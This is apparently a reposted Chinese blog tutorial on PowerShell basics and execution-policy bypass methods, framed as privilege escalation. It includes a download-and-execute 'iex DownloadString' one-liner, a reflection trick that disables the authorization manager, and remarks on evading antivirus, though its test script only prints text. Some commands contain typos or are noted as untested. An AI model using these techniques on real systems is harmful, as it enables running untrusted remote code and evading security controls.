1 介绍

Windows PowerShell 是一种命令行外壳程序的脚本环境,它内置在每个受支持的Windows版中(Windows7、Windows Server2008 R2及更高版本),为windows命令行使用者和脚本编写者利用.NET Framework的强大功能提供了遍历。

需要.NET环境支持

1.1 特点

  1. win7以上默认安装

  2. 脚本可以在内存中运行,不需要写入磁盘

  3. 几乎不会出发杀软

  4. 可以远程执行

  5. 是windows脚本执行更容易

  6. cmd.exe的运行通常会被阻止,但是PowerShell不会被阻止

  7. 可用于管理活动目录

1.2 基本概念

1.2.1 .ps1 文件

一个PowerShell脚本其实就是一个简单的文本文件,其扩展名为".ps1"。PowerShell脚本文件中包含一系列命令,每个命令为独立一行。

1.2.2 执行策略

为防止恶意脚本,默认情况下策略为“不能执行”

若无法运行,可使用cmdlet查询当前执行策略

get-executionPolicy

Restricted:脚本不能运行(默认设置)

RemoteSigned:在本地创建脚本可以运行,但从网上下载的不能(拥有数字证书签名除外)

AllSigned:仅当脚本受信任的发布者签名时才能运行

Urestricted:允许所有脚本运行

可以使用cmdlet命令设置PowerShell的执行策略

set-ExcutionPolicy <policy name>

1.2.3 运行脚本

必须输入完整路径和问价名,如:

C:\Scripts\a.ps1

1.2.4 管道

作用:将一个命令的输出作为另一个命令的输入,两个命令用 | 连接

get-process p* | stop-process

一个神奇的命令

2 常用命令

2.1 帮助

help

2.2 查看PowerShell版本

get-host
$PSVersionTable.PSVERSION

2.3 启动

powershell

也可以从cmd输入命令切入

2.4 获取命令

命令很多

2.5 获取所有进程

get-process

2.6 指定命令重命名

set-alias aaa get-command

2.7 清屏

cls
clear

3 PowerShell提权

要想运行PowerShell脚本程序,必须使用管理员权限将策略从Restricted改为Unrestricted。

PowerUp.ps1文件可从这里下载

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

3.1 绕过本地权限并执行

runme.ps1

Write-Host "My voice is my passport, verify me."

3.1.1 获取当前策略

Get-ExecutionPolicy

同样可以将之心执行策略设置为不同级别。

3.1.2 查看支持的所有级别

linux 基本命令也可以用

Set-ExecutionPolicy
Get-ExecutionPolicy -List | Format-Table -Autoize

如果策略很开放,想使用更严格的方式来测试如下方案,需切换到管理员身份,执行

Set-ExecutionPolicy Restricted

3.2 绕过方式

3.2.1 在交互式PowerShell窗口运行

3.2.2 Echo脚本 Pipe到PowerShell的标准输入

引号内如果是中文会报错,未知

3.2.3 从文件读入脚本 Pipe到PowerShell的标准输入

Get-Content ./runme.ps1 | PowerShell.exe -noprofile -
Type ./runme.ps1 | PowerShell.exe -noprofile -

3.2.4 从一个URL Dowload脚本内容,然后执行

PowerShell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://10.12.120.66:8888/runme.ps1')"

这里一直没测试成功

3.2.5 使用 -command 命令参数

此方法和直接粘贴脚本内容的方式很像,但是此方法不需要一个交互式窗口。它适用于简单脚本执行,对于复杂脚本会发生解析错误。该方法同样不会写内容到磁盘中。

PowerShell -command "Write-Host 'you are good.'"

可以将该命令写到一个bat文件中,然后放到启动目录中,来帮助提权

3.2.6 使用 -encodedCommand命令参数

此方法很上一个方法很相似,但是此方式脚本内容是 Unicode/base64 encod字符串。

使用编码的好处是可以让你避免执行使用Command参数时产生一些糟糕的解析问题

3.2.7 Invoke-Command 命令

该方法最好的在对对抗PowerShell remoting开启的Remote系统

invoke-command -scriptblock {Write-Host "You are good."}

如下命令可以来从一个远程系统上抓区执行策略,同时运用到本地计算机中

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

3.2.8 使用Invoke-Expression命令

Get-Content ./runme.ps1 | Invoke-Expression
gc ./runme.ps1 | iex

测试均未生效

3.2.9 使用Bypass执行策略标志

这个方法时微软提供的用来绕过执行策略的一种方式。当指定白标志后,即视为什么都不做,什么警告都不提示

PowerShell -ExecutionPolicy bypass -File ./runme.ps1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IOnKv7Jv-1630949007798)(Windows PowerShell使用Bypass执行策略标志.png)]

3.2.10 使用Unrestricted执行策略标志

该标志和bypass很像,但是当使用该标志时,意味着加载所有的配置文件和执行所有的脚本

PowerShell -ExecutionPolicy unrestricted -File ./runme.ps1

3.2.11 使用Remote-Signed执行策略标志

创建脚本,然后按签名指南,最后运行

签名指南:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

PowerShell.exe -ExecutionPolicy Remote-signed -File ./runme.ps1

未测试成功

3.2.12 通过换出认证管理器,禁用执行策略

如果函数可以在交互式窗口中使用,也可以在Command参数中指定。

一旦该函数被执行,则会认证管理器,同时默认策略改为unrestricted。

该方法只在一个会话范围内有效。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy ./runme.ps1
disable-ExecutionPolicy
./runme.ps1

3.2.13 设置执行策略为Process作用域

执行策略可以应用到各个级别,其中包括完全控制process。使用该方法仅限于session中,执行策略会变为unrestricted

Set-ExecutionPolicy Bypass -Scope Process

3.2.14 通过命令设置执行策略为CurrentUser作用域

Set-ExecutionPolicy -Scopr CurrentUser ExecutionPolucy UnRestricted

命令报错

3.2.15 通过注册表设置执行策略为CurrentUser作用域

HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

regedit


原文地址:https://www.couragesteak.com/article/39

Windows PowerShell命令大全相关推荐

  1. powershell命令大全

    Cmdlet返回指定的路径部分. Test-Path Cmdlet确定路径的所有元素是否存在. Get-Process Cmdlet获取在本地计算机上运行的进程. Stop-Process Cmdle ...

  2. 指定路径列表批量拷贝文件+Windows批处理命令大全

    一.指定路径列表批量拷贝Windows文件 cat.bat @echo off set target = '' mkdir samples setloacal enabledelayedexpanss ...

  3. win10子linux如何重置密码,Win10如何使用Windows PowerShell命令重置本地账户密码

    在win10系统中,都自带有本地账户,为了安全也会给本地商户设置密码,不过使用一段时间之后,想要重置本地账户密码,但是很多用户并不知道要如何操作,其实我们可以使用Windows PowerShell命 ...

  4. 如何能更更好的装逼 (Windows CMD命令大全)

    Windows CMD命令大全 命令简介 cmd是command的缩写.即命令行 . 虽然随着计算机产业的发展,Windows 操作系统的应用越来越广泛,DOS 面临着被淘汰的命运,但是因为它运行安全 ...

  5. 非常有用的 windows CMD 命令大全

    windows CMD 命令大全: https://www.cnblogs.com/accumulater/p/7110811.html 我常用的: ipconfig (winipcfg) 用于win ...

  6. Win10 PowerShell命令大全

    一 Get类 1.Get-Command : 得到所有PowerShell命令,获取有关 cmdlet 以及有关 Windows PowerShell 命令的其他元素的基本信息. 包括Cmdlet.A ...

  7. python 基础系列(十) — Windows CMD命令大全

    python 基础系列(十) - Windows CMD命令大全 python基础系列索引 python 基础系列(一) - Python介绍 python 基础系列(二) - Python基本语法 ...

  8. windows 网络命令大全

    windows网络命令大全 Windows 2k/2003 Server  1.最基本,最常用的,测试物理网络的  ping 192.168.10.88 -t ,参数-t是等待用户去中断测试 2.查看 ...

  9. windows网络命令大全

    windows网络命令大全 网络命令行操作 Windows 2k/2003 Server 1.最基本,最常用的,测试物理网络的 ping 192.168.10.88 -t ,参数-t是等待用户去中断测 ...

  10. Windows CMD命令大全、cmd常用命令大全

    最早期的电脑系统是DOS系统,DOS系统只有一个黑漆漆的窗口,需要自己输入命令,所以学习命令是很有必要的,那么CMD命令大全是什么?直到今天的Windows系统,还是离不开DOS命令的操作.下面一起来 ...

最新文章

  1. 手机python3_python3 简单手机验证码的实现
  2. TypeError: Cannot red property 'style' of null 错误解决
  3. [html] html5中的meta标签robots有什么作用?
  4. 小贷公司的风险成因及应对策略——策略篇
  5. python与excel-超简单:用Python让Excel飞起来
  6. 修改Ubuntu系统的用户名和主机名、创建和删除用户
  7. STM32CAN波特率简易计算
  8. Windows11 开发版bt磁力链种子及其他下载地址整理
  9. 计算机字节换算在线,计算机字节换算(计算机字节换算器)
  10. 将linux系统移动硬盘,着手打造你的随身系统---将linux装进移动硬盘
  11. 《Python编程从入门到实践》笔记吐血整理
  12. python包:scikit-learn
  13. 非科班出身这么理解货币乘数
  14. 当AI降临教育——阳光还是风暴?
  15. 生成图片遇到Warning: imagecreatefromjpeg(): gd-jpeg: JPEG library reports unrecoverable error问题解决方案
  16. 5G标准化进程加速:高通下半年启动新空口试验及互操作性测试
  17. python3 安装依赖库db4-devel和libpcap-devel安装失败 请大佬指教
  18. 他们十年发生的那些事,你好奇不?
  19. mysql导入dat文件_.dat导入数据库
  20. 利用熵权法确定指标权重

热门文章

  1. windows 10 英文版显示中文乱码
  2. flutter 仿网易云音乐(1)
  3. 中文编程——函语言概念
  4. java计算机毕业设计基于安卓Android的团务智慧管理APP(源码+系统+mysql数据库+Lw文档)
  5. javaScript编码爱心表白
  6. ACM竞赛入门,从零开始
  7. Photoshop插件-保存-转换sRGB-脚本开发-PS插件
  8. Highcharter绘制中国地图
  9. 2019年上半年信息系统项目管理师下午案例分析真题及答案解析
  10. 计算机常规教学ppt,计算机基本PPT教学.ppt